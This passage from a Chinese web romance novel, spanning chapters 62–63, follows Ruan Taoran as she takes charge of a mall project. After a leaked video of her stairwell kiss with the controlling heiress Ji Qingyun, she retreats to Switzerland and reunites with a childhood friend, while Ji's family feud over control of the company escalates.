那个急忙从驾驶位置下来扶阮陶然的人, 纪青云大概还记得, 是阮家的管家, 似乎姓周。 阮陶然……就这么想离开这里吗? 她平日是很少麻烦别人的人, 这次居然向之前的管家求助, 就为了离开这里? 阮陶然上了车, 语气温和地说道:“抱歉,周伯伯,大晚上麻烦您。” “没事, 不麻烦,这会儿家里闹哄哄的, 夫人把我们都赶出来,一时半会儿不会让我们回去的。” 家丑不外扬,饶曼吃一堑长一智, 这次阮如月刚进门, 就把家里的人都打发走了。 周末休息了一天,脚腕上的伤没有完全好,走起来还有些一瘸一拐的。 阮陶然选了双舒服一点的运动鞋出门去灵南集团上班。 “阮总好。” “阮总。” 一路上, 员工都礼貌地和她打招呼,并且主动让开了最中央的路。 林晓晓忍不住小声说道:“你早说这么威风,我早就跟你回来了。” “林总助第一天上班,不要表现得太刘姥姥进大观园啊。”阮陶然笑着调侃了她一句。 “我都没工作经验,也不知道自己该做什么……”林晓晓有些没底气。 “要不你给我换个岗位吧,我就是想混个实习经验……” “我要是把活儿搞砸了怎么办?” “你就当是来帮我的忙。”阮陶然自己伸手按了电梯,说道,“他们给我安排的人,我一点都不信任。” 上次她身边的人直接把她卖了的事情,还历历在目。 那些人虽然专业,但是会出卖她,倒不如留个相信的人在身边。 “行。”一说自己是帮忙的,林晓晓就迅速接了这活儿。 “实在不行我去多问问我那个网友,她就是当总裁助理的,好像很多年工作经验了。” “咦?我刚刚是不是应该帮你按电梯来着……” “完了完了,第一项工作就从我眼皮子底下划过去了。” “我又不是没手。”阮陶然有些哭笑不得,“这种小事我自己会做。” 阮陶然今天来是来参加晨会的,Seraphine入驻星悦城的申请通过,这个项目落到了阮陶然手上。 她不再是阮小姐,而真正被称为一句阮总。 百分之九十的会议内容和她没有关系,但她一直都听得很认真。 会议结束,还有人落后几步对她表示恭喜。 顺便问一句:“阮总能不能有空跟纪总提一下,灵南想要和纪氏合作的事情……” “双方可以互有往来,加紧联系啊。” 林晓晓跟着阮陶然,有些云里雾里,回了阮陶然办公室,明白过来。 “然然,他们对你这么恭敬,是因为纪青云?” “对啊。”阮陶然语气淡淡,翻开桌上的文件往下看。 她看得很慢,毕竟专业不是经商的,好在Seraphine的经营领域她还熟悉,基本上还能看得懂。 “那你们不是……”林晓晓连忙住嘴,她想说,你们不是闹掰了吗? 阮陶然的目光微微定住在文件的某个数字上,定住很久,才缓缓说道:“我也不知道她什么意思。” 是威胁?告诉她,她有的一切都是她给的。 还是示好?表示她会站在她身后支持她。 阮陶然弄不明白纪总的想法,纪总也不会跟她解释这么多。 “那……”林晓晓有些犹豫。 “她给了,我就先接着。”阮陶然轻轻笑了笑,似乎是自嘲,“好像除了接着,我也没有任何办法。” 星悦城同意入驻,对于灵南来说是大好事,如果阮陶然不愿意接手,后面等着接手的人有一群。 以阮陶然现在的能量,阻止不了两方的合作。 纪青云做事一向如此,根本不给人选择的余地。 “咚咚——”敲门声响三声,就很礼貌地停住。 林晓晓这次动作很快,连忙整理了一下仪容,然后开了门。 进来的是个短发的女人,笑着跟林晓晓打了声招呼,然后才走到阮陶然面前:“阮总好。” 她看上去四十左右的年纪,但是保养得当,肤色白皙,整个人透着一股凌厉干练的气息。 阮陶然也已经站起身来,握了手,让她坐下:“麻烦凌副总,这次要跟您学习了。” 这次说是阮陶然是总负责人,但实际的操作者是这位凌副总。 阮陶然并不了解这位,也不知道她的脾气,没想到她居然主动过来了。 “阮总放心,纪总全都交代过的。”她眸光里很是和善。 阮陶然眸子微微一顿,居然是纪青云的人。 好消息是,她大概可以完全信任眼前的人。 坏消息是,她有种完全被操控了的无力感,并且她暂时对这种操纵无力挣脱。 有专业的人帮忙盯着,后面的一系列进程推进都很顺利。 星悦城连着放绿灯,Seraphine那边陈欢也很靠谱,几乎只用了一个月的时间,专柜已经整修完成,只差开业剪彩。 阮陶然这段时间往星悦城跑得勤快,她是个事无巨细的人,很多细节都会亲自盯着。 看着Aling的签名出现在最中央的柜台之上,阮陶然忍不住在这个签名前面站了很久很久。 林晓晓脚步轻快走过来:“然然,等会儿可能要下雨了,我们早点走,能不堵车。” 虽然她们是上下级的关系,但这么多年来作为朋友相处习惯了,讲话也很随意。 林晓晓和嗑一口CP聊天的时候,对方表示很羡慕。 “不着急走。”阮陶然拿出手机来,对着展台拍了一张照,然后发给了妈妈的微信账号上。 回头笑着揽住了林晓晓的胳膊:“走吧,今天是个好日子,请你吃饭。” “好日子?”林晓晓没回过神来,“什么好日子啊?” “这你就不要管了,白吃白喝不要吗?”阮陶然笑着说道。 “要要要,当然要,我要吃顶楼那家最贵的。”林晓晓笑嘻嘻说道,“阮总不会心疼吧?” “不心疼。”阮陶然笑着跟她展示手机屏幕上的预约,“我约的就是这家,这不心有灵犀了吗?” “吃完饭去逛一逛,你上次不是说有个包很喜欢吗?我约了柜姐,等会儿去提货,送你。” 这段时间,大概了解了阮陶然手里有多少股份,有多少房产之后,林晓晓已经可以毫无心理障碍地白吃白喝了。 但是那个包真的很贵,林晓晓连忙说道:“算了算了,我有工资,我自己攒钱买。” “你有几个工资,我不知道吗?”阮陶然眉梢微微一扬,“就当提前送你的生日礼物。” “那……”林晓晓知道,她们的关系,再推辞就不礼貌了,“那我就笑纳了。” 苟富贵,勿相忘,有姐妹包养的日子是真的爽。 阮陶然现在身边关系最好的就是林晓晓,且不提在国外相依为命的日子,当时她回国的时候,林晓晓毫不犹豫把勤工俭学攒的积蓄全塞给她,这不是一般的友情能做到的。 而且,阮陶然今天其实是有点私心的。 她不想太早回去。 今天不是个好日子。 今天是她父母的忌日。 那一天也是下了雨,她站在急救室门口,看人来人往,闻到消毒水和血腥味混合的味道。 周围的人看向她的目光有些怜悯,护士姐姐往她手里塞了个小熊娃娃,她被牵到妈妈身边,碰到她没有温度的手。 小小的她还不太理解,以后她就是孤身一人了。 她不太想回去面对空荡荡的家,和林晓晓说说笑笑,这些情绪能够得到消解。 两个人一起吃了饭,又去店里买包。 在柜姐的热情推荐之下,阮陶然也买了一只,和林晓晓那只闺蜜款的包包。 配货配了一堆的丝巾、手链和皮带,她不喜欢用这些,也没有人可以送,乱七八糟全都塞给了林晓晓。 两个人亲亲热热牵着手从店里出来,阮陶然一抬头,脚步顿住。 纪青云的目光落在她手里的手包上,和林晓晓那一个,就像是一对。 阮陶然抿了抿唇,还没来得及说话,纪青云就走了过来,一把攥住了她的小臂,拉着她就往外走。 “喂喂喂,你干什么?”林晓晓连忙拉住了阮陶然不松手。 林晓晓甚至丢了手里的购物袋,紧紧拽住阮陶然,生怕她被人拐走了。 两相对峙之下,阮陶然被扯在中间,一人拉着她一条胳膊不松手。 韩悦眼皮子一跳,连忙上来拦住林晓晓。 “这位小姐,请您松手。” 林晓晓不理解:“什么松手,你们青天白日在这儿搞绑架?” 这儿的喧闹声瞬间引来周围的目光,阮陶然沉沉呼了一口气,道:“晓晓,你在这儿等我。” “然然……”林晓晓迎上她的目光,最后讪讪松了手。 已经深夜,但星悦城是出了名的不夜城,往往来来的客人不少。 纪青云拉着阮陶然到了消防通道,才松开了手。 阮陶然低着头,揉了揉手腕,没说话。 “你是在故意气我吗?”纪青云的声音有些沉。 “烛光晚餐、情侣手包、今晚上你甚至还要去她家里住。”纪青云缓缓说道,“阮陶然,你知道你在做什么吗?” “你怎么知道……”阮陶然语气一顿。 然后意识到了什么:“我的司机,也是你的人?” 她今晚上要去林晓晓家里这件事,就刚刚在店里结账的时候告诉了司机,没有第四个人知道。 若是一个圆滑的人,肯定会解释,因为之前的司机不靠谱,担忧你的安全,所以才这样安排。 但纪青云并不是个会解释的人,甚至她没想过需要解释这件事。 她直接继续说道:“还有,唐逸卿包上的手串,你故意买了款差不多的送她,也是为了气我?” 她已经发现了那个手串,阮陶然心里咯噔一下。 不过纪青云的理解似乎是歪了,她从来不怀疑自己是阮陶然的唯一,宁肯相信,阮陶然是故意在气她。 “不是……”阮陶然的话还没有说完,只觉得面前光线一暗。 她的手腕被紧紧按在墙上,迎面是猛烈的吻落在她的唇上,她被困在纪青云和墙壁之间,动弹不得。 “唔……”她忍不住轻轻挣扎。 但是这个吻的力度,以及这个怀抱的力度却骤然收紧。 她像是落在蜘蛛网上的猎物,一瞬间被蛛丝紧紧包裹,越挣扎,包裹得就越是紧张。 她的指节忍不住微微收紧,轻轻喘着气,看向那金丝眼镜之后的浅琉璃色的眸子。 这还是纪青云第一次,戴着眼镜吻她。 噔噔噔的脚步声,是林晓晓的声音:“然然——” 她走进来,一眼就看到阮陶然和纪青云亲密的姿势。 韩悦也跟在背后跑了过来,盯着纪青云的目光,她忍不住有些头皮发麻,完了,这点小事都没办好。 “对不起,纪总,我没有看好她……” 林晓晓本来是规规矩矩等着,她有一瞬间放松了警惕,结果林晓晓撒腿就往这边跑。 也不知道她小小的身躯,怎么跑得这么快,抓都抓不住。 “晓晓,你先走,我没事。”阮陶然语气淡淡说道。 “可……”林晓晓有些犹豫,然后一下子就坚定起来,“我不能把你一个人丢在这儿。” 她一步一步走过来,走到纪青云面前。 抬头看着纪青云,眸子里不卑不亢:“纪总,限制人身自由,是违法的。” 也不知道是初生牛犊不怕虎,还是友谊占据了上风,顶着纪青云冷冷的目光,她居然真的一丝畏惧都没有。 韩悦眼皮子一跳,还真的有人这么勇,这么威胁纪青云。 最后,林晓晓气势汹汹地拉着阮陶然的胳膊走了。 韩悦小心说道:“纪总,要拦一下吗……” 要拦还是很轻松的,星悦城是自家地盘,一个电话,门口保安就把人拦住了。 阮陶然到底是没有跟着林晓晓回家,对于林晓晓来说,得罪纪青云这尊大佛不是好事。 这一晚上,阮陶然睡得有些昏昏沉沉的。 大早上就被林晓晓的电话吵醒了,听得对面说了一句话,阮陶然迷迷糊糊的脑子一下子就清醒过来了。 林晓晓说:“不好了,你快看热搜,你和纪总的照片,被人传上去了。” 照片是监控的视角,不太明亮的消防通道里面,两道身影贴在一起,热烈的拥吻。 #爆纪青云恋情# #傅太太另有爱人# #豪门玩得花# #脚踏两只船# 一条热度被压下去,另外一条热度就迅速顶上来,仿佛在较劲一样。 几分钟之后,所有词条一片空白,但很明显,该看到的人已经都看到了。 纪家,此刻客厅的气氛有些微微凝固。 纪育川连忙倒了杯水给老爷子:“爷爷,您喝口水,别气坏了身子。” 从早上爆料出来开始,他已经雷霆大怒。 不住在老宅的纪青云也被喊了回来,一踏入客厅,她就感受到周围复杂的目光。 没几个人对她担心的,基本上都在幸灾乐祸。 梁霜不在,她在花园里跟自己儿子,也就是纪育川来之前的纪家老大打电话。 对面有时差,明显有些不耐烦:“够了,我说了,我不回去。” “你是不是傻,现在是个最好的时间。” “你爷爷不喜欢现在乱七八糟的同性结婚什么的,她脚踏两只船,她肯定完了。” “妈已经帮你看了,那纪育川也不是什么有本事的,这段时间你爷爷也看出来了,他不堪大用。” “现在怎么也轮到你了,你只要回来,这么大的家业,不都是你的吗?” 对面沉默了一下,缓缓说道:“妈,这是你第一天认识纪青云吗?” “你这话什么意思?”梁霜蹙了蹙眉。 “那是星悦城的监控,那可是纪青云的大本营,没有纪青云的意思,监控能传出来?” “你可别作妖了,我安心搞艺术,我们母子两个以后衣食不愁,她不会亏待我这个大哥。” “你安安心心看戏,别想那些乱七八糟的,我要睡觉,挂了。” 嘟的一声,对面的电话就挂断了。 “你说,这……”梁霜看着手机啧了一声,“没出息。” 他知道自己几斤几两的时候,就选择了把股份扔给纪青云,然后火速跑到国外明哲保身。 但他这次真的想错了,监控,还真的不是纪青云放出去的。 纪育川没想到纪青云这么痛快,在纪老爷子勃然大怒的时候,主动提出来,辞掉身上所有的职务。 他紧急走马上任的时候,脑子里都还晕乎乎的。 早知道这件事这么简单,之前就不折腾这么久了。 阮陶然的手机收到了韩悦的信息,是一条航班的消息,上午最早一班去马尔代夫的航班。 阮陶然眸子顿了顿,到底还是没有理会,直接去公司上班了。 她能感受到一路员工看着她的表情有些奇怪,也能听到那些指指点点。 不外乎说,她是第三者。 毕竟纪青云和傅长宁公开订婚在前,她和纪青云的关系怎么都洗不白。 林晓晓进办公室的时候,也忍不住放轻了脚步,小声说道:“星悦城那边的项目停了。” 虽然现在只剩下剪彩,但星悦城那边换了当家人,停他们的项目只是一句话的事情。 “没事,不用管,做自己的事情就好。”阮陶然语气淡淡。 “你……”林晓晓最终还是忍不住劝道,“你和纪青云的关系在前,那些话你别放在心上。” “我没有放在心上。”阮陶然低头看文件,看不清她脸上的情绪。 她只是淡淡说了一句:“纪青云没这么简单,你真以为,她着了别人的道?” 桌面上手机振动,是纪青云打过来的电话,阮陶然伸手就给挂了。 顺便把纪青云的电话,还有韩悦的电话全都拉黑了。 然后就收到了唐逸卿的消息——[秋季很适合去瑞士徒步,一起去吗?] [去。]阮陶然毫不犹豫就回了她的消息。 刚回完消息,就进来一个电话,接通是韩悦的声音:“阮小姐……” 阮陶然抬手就给挂了,顺便拉进黑名单。 她只觉得心里有些闷。 看起来纪青云被人摆了一道,阮陶然更愿意相信,这是纪青云计划的一环。 如同上次在国外,她延迟回国的时间,眼睁睁看着纪育川闹笑话一样。 看似她退了,其实只是以退为进。 纪青云是很谨慎的人,吻她的时候一直都会注意周围环境的安全。 但偏偏是昨晚,看似的一时冲动。 偏偏在星悦城。 偏偏是监控视角。 如果纪青云想要她配合,提前告诉她,她未必不会答应。 可现在算是怎么回事?把两个人的照片放网上,闹得沸沸扬扬,然后安排她出去躲一躲。 就像是和傅长宁的婚约一样,闹得人尽皆知之后,她是最后一个知情的人。 第62章 第 62 章 前所未有的失控感 十月是卢塞恩最好的天气, 秋季是瑞士最好的季节,Melchsee湖边的风吹过来,草木摇晃, 水面惊起涟漪。 遥遥望去,是一片绿油油的草坪, 在蓝天白云的映照之下,像一幅油画。 未经污染,干净澄澈。 阮陶然顺着湖边走了一圈, 四公里的路走下来微微出了一身汗, 站在湖边闭着眼睛, 感受迎面而来的风。 口袋里的手机振动, 接起来道:“你的飞机到了?” 国内的手机已经关机停用了, 这个手机号只有唐逸卿知道。 唐逸卿的声音有些抱歉:“到了, 刚落地, 抱歉, 说好陪你一起徒步。” “没关系,一个人玩也很开心。”阮陶然语气和缓从容,“你先解决自己的事情, 不用担心我。” “不过我给你介绍了个导游,刚刚把你的手机号发给她了, 她晚些时候会联系你。”唐逸卿说道。 “这多麻烦啊。”阮陶然连忙说道,“真不用担心我。” “是她主动联系我的,至于是谁……”唐逸卿的语气顿了一下, 颇有些神秘, “这是个秘密。” “我认识?”从她的语气里,阮陶然似乎听出来一些什么。 “保密。”唐逸卿却很有原则,笑了两声说道, “等她联系你就知道了。” 阮陶然在脑子里面捋了一遍,这个人认识她,而且和唐逸卿关系不错,两个人的共同好友? 说来,她们的共同交集就是小时候的那段时间了。 阮陶然脑子里迅速就浮现出来一个名字。 然后,手机里就有一个瑞士本地的陌生号码打进来。 阮陶然忽然觉得这手机有些烫手,犹豫了再三,手机铃声响了一会儿,接了电话。 然后就听到热情洋溢的声音:“哟,我的小花是打算挂了我的电话吗?” 阮陶然:“……”顿了一下说道,“可以改一改称呼吗?” “不行。”对面轻轻笑了笑,说道,“在哪儿?我去接你。” “很巧,我也在卢塞恩,你说这缘分啊,真是妙不可言。” 阮陶然:“你都知道我在卢塞恩了,果然是唐逸卿那家伙出卖我。” “她是放心不下你,怕你一脑袋扎湖里去了,不过目前听起来,语气还好。” 她说了一半,话锋一转道:“抱歉,我是不是不该提这些。” 她马上就继续说道:“算了,不提这个,我们约个地方见面吧。” 她执行力一向很强,根本不给阮陶然拒绝的余地,就迅速订好了见面的地方。 望见姜颂走进来的时候,阮陶然有一瞬间的恍惚。 夸张的大幅大幅花朵的姜黄色布裙,如海藻一般茂密卷曲的长发,穿了件针织披肩外套,夸张的墨镜下面,艳丽的唇色,走到阮陶然面前还有三步远的时候,阮陶然就闻到她身上夸张的馥郁的香水味道。 她取下来眼镜,在阮陶然面前转了一圈,笑着扬了扬眉梢:“怎么?看呆了?” “真是女大十八变……”阮陶然忍不住轻轻啧了一声。 “怎么,你的小王子变女王,你接受不了?”姜颂伸手搂住阮陶然的腰,凑近了些,“这样不好看吗?” 阮陶然被香水味道熏得有些鼻子痒,揉了揉鼻尖,对上姜颂的目光,忍不住笑出声来。 要不是姜颂主动过来认她,她是不敢认的。 因为她小时候,是个短头发的假小子,不是一般的短,是寸头那种短。 在她还没有对姜颂有任何表达的时候,是姜颂主动凑上来的。 阮如月抢了阮陶然的房间,抢了她的玩偶,最后看上她的项链,也要来抢。 但那条项链是妈妈留给她的,她不肯给,两个人就撕攘在一起。 姜颂那个时候也只是十岁出头的孩子,但力气大得很,一把就把阮如月推到泳池里面去了。 饶曼笑着说小孩子不知道轻重,一边却语气嫌弃地让阮陶然去给阮如月道歉。 姜颂一下子就正义感爆棚:“你们有眼睛吗?你们没看到是她抢她的东西吗?” “哪有你们这样不分是非的大人。” “走,你跟我回家。” 她伸手就拉住了阮陶然的胳膊,阮陶然这才听出来,她是个女孩子。 阮陶然没有跟她走,因为她知道,她姓阮,就算是去住了一天两天三天,到时候总要回来。 寄人篱下,这个头她总要低,她忍气吞声地道了歉,把姜颂气得不得了,一副恨铁不成钢的样子。 “她欺负你,你就打她啊,使劲儿往脸上给她一拳。” “她抢你东西,你也抢她的,就算是扯坏了,扔地上,也不能给她。” 姜颂这个人,从小就是又争又抢,看着软软的阮陶然,无可奈何:“你怎么像一朵娇滴滴的花儿呢?” “女孩子要长刺,要做仙人掌,谁欺负你,就扎回去。” 她的理论很先进,但对于阮陶然来说,实践很困难,她打得过阮如月又如何?她背后是没有人撑腰的。 不过,姜颂往来阮家的那半年里面,阮陶然还真的没怎么被欺负。 只要阮如月一抬手,她就是一拳打回去,打得阮如月龇牙咧嘴不敢说话。 但后来,阮陶然就听说,她因为在家里打了弟弟,被送到国外去了。 提到这事儿,姜颂还忍不住嗤笑一声:“没出息的,打不过我就只会告状。” 姜颂把手伸过来,扬眉道:“捏一下看看。” 阮陶然怔了一下,伸手过去,在她的手臂上压了一下,手感……很结实。 姜颂很自豪:“我可是职业拳击手,再让我见他,我一拳把他牙打掉。” 阮陶然:“……”并不是女大十八变,只变了外表,内核一点都没变。 不过却也因为她暴躁的性格,和家里人合不来,从小时候被送出来,到现在,她没回过国。 但她很自信开朗,说起来这些年的经历也是眉飞色舞。 充满了传奇色彩,作为华裔被周围的小孩看不起,最后打得所有人满地找牙,成了一群小孩的老大。 再后来,仿佛自然而然走上拳击的赛道,和家里人断了联系,开始穿裙子化妆,做任何自己想做的事情。 用她的话说,小时候以为自己假装男孩,就会被喜欢,后来发现,根本不是。 不讨人喜欢就不讨人喜欢,但谁要是敢在她面前说,就揍到不敢说为止。 两个人说说笑笑,说着说着,阮陶然就发现她不说话了,只是撑着下颌盯着她看。 阮陶然的语气也缓缓收住了:“我脸上……沾了什么东西吗?” “没有。”姜颂笑了笑,伸手捏了捏阮陶然的脸,“就是觉得,你怎么还是软软的啊……” 她的力度不重,就是轻轻的捏,像是在捏一个解压的小玩具。 “小时候被欺负,长大了还是被欺负,怎么就这么不让人省心……” 姜颂认认真真看着阮陶然,缓缓说道:“你要不就留在这儿吧,小时候没把你带走,还挺遗憾的。” 阮陶然迎着她的目光,心里咯噔了一下。 缓缓道:“别闹,你把我当你的玩具呢?还要随身带着……” 然后就听到姜颂继续说道:“真的,我真的这么想的。” “你不是喜欢女生吗?我也是女生啊,你看我今天打扮得多漂亮,不比女明星差吧。” 阮陶然终于知道,唐逸卿介绍姜颂来给她当导游的真正意思了。 一方面是想要找人看着她,免得她做什么过激的事情。 另一方面是,唐逸卿想给她介绍第二春,从前一段感情里走出来。 那班前往马尔代夫的航班,纪青云等到起飞,身边的位置一直都是空的。 韩悦觉得这个班真的是上得人都麻了,老板一脸冷酷,似乎什么都不在意,飞到了马尔代夫。 她刚刚在马尔代夫的酒店躺下,就收到老板的消息——返程。 马尔代夫,来了,但没完全来,只是来体验了一下床垫软不软。 飞机落地,又跟着老板马不停蹄到了阮陶然的住处。 阮陶然住在六楼,从楼下就能看出来,楼上灯没开,没有人在家。 从后视镜里瞄了一眼纪青云的神色。 韩悦迅速在手机屏幕上打字,跟对面的网友吐槽:好困,我应该在马尔代夫的床上睡觉才对。 日日木:[怎么了?又加班?] 嗑一口CP:[做总助都是这样,谁能有你的好日子过啊。] 林晓晓看着手机屏幕,看了看外面的天色,叹了口气。 她倒是想有班上,这风雨飘摇的,她直接在家里休假了。 外面下起来暴雨,林晓晓忽然想起来什么,急匆匆冲上楼顶,把晾晒的被子收起来。 抱着被子再回到家里的时候,就见家里的客厅沙发上坐了客人。 她妈妈赶忙走过来,从她手里把被子接过来:“我来收拾,你招待你朋友。” 朋友?林晓晓抬眼看过去,有一瞬间微微的怔住:“纪总?” 这么大的佛,怎么就跑到她们家这老破小里来了? 林晓晓只觉得,家里都没有合适的茶杯招待。 最后想起来,上次阮陶然买包的时候,好像配货了一个马克杯,连忙找出来洗干净了。 纪青云接过来,喝了一口茶水,才很有礼貌地开口说道:“抱歉打扰你,我是有件事情想要问你。” “您说。”林晓晓没想到纪青云这次这么平易近人,自己的语气都忍不住压了下来。 “你是然然最好的朋友,你知道她去哪儿了吗?”纪青云问道。 “您不知道吗?”林晓晓有些意外。 “她跟我说,您安排了她去国外避避风头,然后就给我放假了。” “她电话我打不通,微信也不回,我也不知道她去哪儿了啊?” 林晓晓一路把人送到了楼下,才发现外面暴雨有些大,又一溜烟跑到楼上拿了伞递给韩悦。 把人送走的时候也不放心,叮嘱道:“纪总,您找到她了,一定要跟我说一声。” 伞骨被风吹得左右飘摇,车开不进这个小巷子里面,一路走到车边的时候,纪青云身上已经半湿了。 风实在是太大了,韩悦根本就打不稳伞,纪青云只是半湿,她已经完全湿透了。 连忙拿了车上的毯子递给纪青云擦水,自己只是抽了两张餐巾纸擦了擦脸上的水。 “纪总……”韩悦开口说道。 刚刚开口,就听得外面轰隆一声,惊雷划破天际,瓢泼的暴雨变得更大起来。 韩悦等过了雷声,才继续问道:“纪总,我们回哪里?” 现在肯定是不会回纪家的,大概是回隆华天域吧,韩悦心里这么想着。 就听到纪青云说道:“去江城大学家属院。” 这雨下得实在是太大了……韩悦心里这么想,但是一句话都没敢说。 司机也没说什么,方向盘一转,朝着江城大学的方向而去。 韩悦一边思量着,一边擦自己身上的水……江城大学家属院,大概是唐教授那里…… 往日里一般下雨的时候,纪青云不会在外面停留很久,这次是真的,很着急要找到阮陶然。 纪青云没有给唐教授打电话,其实这样不问自来很不讲礼貌,按照她的教养,很少做出来这样的事情。 但她有些担心,如果阮陶然在,听到了她的电话,故意避开,那她就真的找不到她了。 噼里啪啦的雨点落在顶棚上,车窗上的水把路边招牌的霓虹灯糊成一片。 纪青云忽然心里有些空落落的,偌大一个江城,她居然真的不知道去哪里找一个人。 阮陶然在江城没有顾念的亲属,她的根不在这里,她如果真的想抽身而退,天涯海角都有可能。 在这段关系里面,她从未感觉到如此的前所未有的失控感。 第63章 第 63 章 只有掀桌子这条路可以走…… 清朗的风吹来草木的味道, 天气很好,大片大片蔚蓝的天空之中,飘着一朵一朵的云。 广场上, 和煦的阳光洒落下来,街面上来来往往的人, 大部分都是陌生的面孔。 阮陶然喝了口咖啡,点开了自己的工作邮箱。 然后指尖微微顿住,邮箱里居然有几百封邮件。 一大半来自于——J.Oakley。 阮陶然的眸子凝了凝, 没有打开, 而是往下滑了很久, 找到了Date那边发来的邮件。 国内青年设计师大赛正在按照既定的流程进行, 下个月就将进入到最后的拍卖环节。 算起来, 她已经出来了将近两个月了。 芬兰的秋天也很好看, 路边是金黄金黄的银杏树, 银杏叶落在地上, 北风吹起,掩映着背后的红砖的城堡,像是童话里公主踩过的地方。 阮陶然只回了工作邮件, 然后就关掉了电脑,喝了口咖啡, 看着银杏树叶飘落。 时间总是很容易这么被消耗过去,这样的愣神不知道过了多久,听到唐逸卿的声音:“喂, 发呆呢?” “你的事情都搞完了?”阮陶然笑着抬头看她, “这两个月好像瘦了。” “可不是呢,天天关在实验室里面,都饿瘦了。” 唐逸卿眉梢一扬:“不过一切都是最好的安排, 我的毕业总算是有头绪了。” “我看你之前也不是很着急要毕业。”阮陶然忍不住打趣她。 别人毕不了业都是唉声叹气的,恨不得一脑袋扎进实验室里不出来,就她还有功夫骑着摩托车到处跑。 “着急也没用啊,能开心一天是一天。 ”唐逸卿招手喊服务员过来点了咖啡。 阮陶然忍不住轻轻笑了笑,唐逸卿就是这样乐天派的性格。 唐逸卿撑着下颌认认真真打量了阮陶然一番:“姜颂这家伙肯定不上心。” “一看就没把你照顾好,看着你的气色就不是很好的样子。” “都说了让她好好照顾你,结果只顾着自己的拳赛。” “那是她的工作。”阮陶然无奈,“不是人人都像你一样没工作有爸妈养。” “我挺好的,可能就是昨晚没睡好。” “盼着我来吗?”唐逸卿笑嘻嘻说道,“等我飞机起飞才睡的啊?” “没办法,江城的雨下得很大,飞机晚点了好久。”唐逸卿把菜单递过来,“还想吃什么,随便点,我请客,算我赔罪了。” “就请我吃这个?”阮陶然扫了一眼,咖啡店的菜单除了咖啡就是几种甜点,没什么好点的。 “晚上,晚上我请你和姜颂吃大餐。”唐逸卿看了看时间,“她是不是也快到了?” “差不多吧。”阮陶然回了一句,话锋微微一转,“江城的雨很大吗?” “对啊,很大,很奇怪,今年雨水格外多。” “都入了秋了,还轰隆轰隆打雷,下大暴雨。” “老头差点儿把我扣下来了,说不让我出门。” “好不容易跑到了机场,飞机也飞不了……” 唐逸卿抱怨着,阮陶然的思绪却忍不住有些飘远了。 她昨晚就没睡好,收到唐逸卿的消息,说江城下了大暴雨。 她忍不住查了一下江城的天气,从她走之后,到现在居然已经下了好几场大暴雨。 她忍住不去想,但是还是在床上翻来覆去睡不着,一晚上就出了黑眼圈。 姜颂是刚结束了一场拳赛,从德国赶过来的。 异域他乡,三个人喝了场小酒,不过两杯下去,阮陶然就醉了。 把人在房间里安顿好了,唐逸卿走出来,倒了杯酒递给姜颂,道:“都已经两个月了,你还没拿下来啊?” 姜颂耸了耸肩:“你又不是没看到,她喝醉了,对我都还有警惕心。” “她对我一直保持着距离,很有礼貌,每次都拒绝得很有礼貌。” 刚才本来是姜颂要抱着她进卧室的,阮陶然怎么都不肯。 “祝你好运。”唐逸卿也有些无奈,伸手和她碰了一下杯。 “那位纪总到底是什么样的人啊?”姜颂忍不住问道。 唐逸卿笑了笑,没有给回答。 纪青云是被纪老爷子一通电话叫回来的,又是家庭大会的架势。 纪育川坐在沙发上,脸黑的像是锅底。 纪青云脱了身上的羊毛大衣,递给女佣,才不疾不徐问道:“这又是怎么了?” “啪——”一堆资料被纪育川摔在她的面前。 纪青云眸子淡淡,看了一眼,道:“这是纪氏的机密文件,我现在的身份不应该看这些。” “看,给我好好看。”纪老爷子的声音传递过来。 纪青云没说话,拿过来,翻了几份,缓缓道:“符合流程,一点问题都没有。” “你看不出来他们在踢皮球吗?”纪育川冷声说道。 “不是一个项目,是好多个项目,发下去之后,各个部门踢皮球,谁也不肯做事。” “我的方案有什么问题?一点问题都没有,都是爷爷点头的方案。” 当然不会有问题,都是他花高价找经验丰富的精英做出来的项目方案。 他想得很好,拿几个漂亮的方案出来,然后推动方案落地,短时间内做出来功绩,他就在这位置上坐稳了。 自己不懂没关系,找人做方案,找人盯实施,到时候功劳全部都是他的,谁也夺不走。 “这些部门的反馈也没有问题,都是合规的流程。”纪青云的语气很平静,平静到没有一丝起伏。 像是一颗石头砸进大海里面,甚至没有引起一丝一毫的波澜。 纪育川的质问,似乎对她没有任何影响,她依旧是八风不动的从容。 “正常流程?”纪老爷子终于开口说话了,“你在公司的时候,他们也这样?” “那我就不知道了,我现在又不在公司,也不可能对他们发号施令。” 纪青云平静的语气,引得老爷子眸色一沉:“你这是跟我说话的态度?” “公司股价掉了多少,你也完全不在意是吗?” “当然在意,我作为股东,亏了不少钱,还没有找纪先生问责呢。”纪青云缓缓说道。 “他是你大哥。”老爷子声音里藏着怒气。 “我只有一个大哥。”纪青云缓缓说道,“他现在人在国外。” 纪氏是她辛辛苦苦撑起来的,她也不想看着纪氏倒下去。 本来她想用一些柔和的手段,慢慢架空老爷子。 结果纪育川如此行事,买通星悦城内部人员,爆出来视频,把她逼得只有掀桌子这条路可以走。 她也亏了不少钱,日后想要把现在的亏空补起来,又不知道要花费多少的心思。 已经掀桌子了,就没有继续好好说话的必要了。 纪青云径直站起身来:“我现在是一介闲人,公司管理的事情,以后不必问我了。” “不孝女。”纪老爷子气得眼前一阵一阵黑。 若不是这一遭,他还没发现公司里那些骨干都被纪青云换了。 他这次把纪青云喊回来,并不是为了纪育川,而是为了他自己的威严。 因为前两天纪育川求助到他这儿的时候,他发现,连他发号施令,公司那些人都不放在心上了。 他这些年来把公司交给纪青云管理,没想到养出来一匹狼。 眼看着纪青云要走,也没人敢拦,纪老爷子伸手拿起来桌上的烟灰缸,朝着纪青云就砸了过去。 “给我滚回来。” 咚——烟灰缸砸在纪青云的肩膀上,然后滚落在地面上。 纪青云脚步微微一顿,眉头都没有蹙一下:“这一下,就当是回报了爷爷的养育之恩了。” 母亲死之后,她就被爷爷带回来,虽说没有多少慈爱,多少养了这么些年。 按照纪青云本人的教养,她还是惦记着几分养育之恩的。 “爷爷,您别气。”纪育川赶忙一边抚胸口,一边安慰。 梁霜也赶紧凑上来表现:“爸,你消消气,她就是一匹养不熟的狼,你别放在心上。” “你看现在,育川也解决不了问题,要不我们喊阿琛回来?”她试探着说道。 她还在争取,让自己的好大儿能成为名正言顺的继承人。 “这话以后就不用说了。”纪老爷子打断了她的话,“他当年在我面前不是义正词严,说饿死也不回来吗?” “既然那么有本事,就让他在外面,以后不用提他。” 提起来这个孙子,纪老爷子心里是有气的。 当年他也对这个孙子寄予厚望,候选人是纪青云和他两个人的时候,老爷子的偏心谁都看得见。 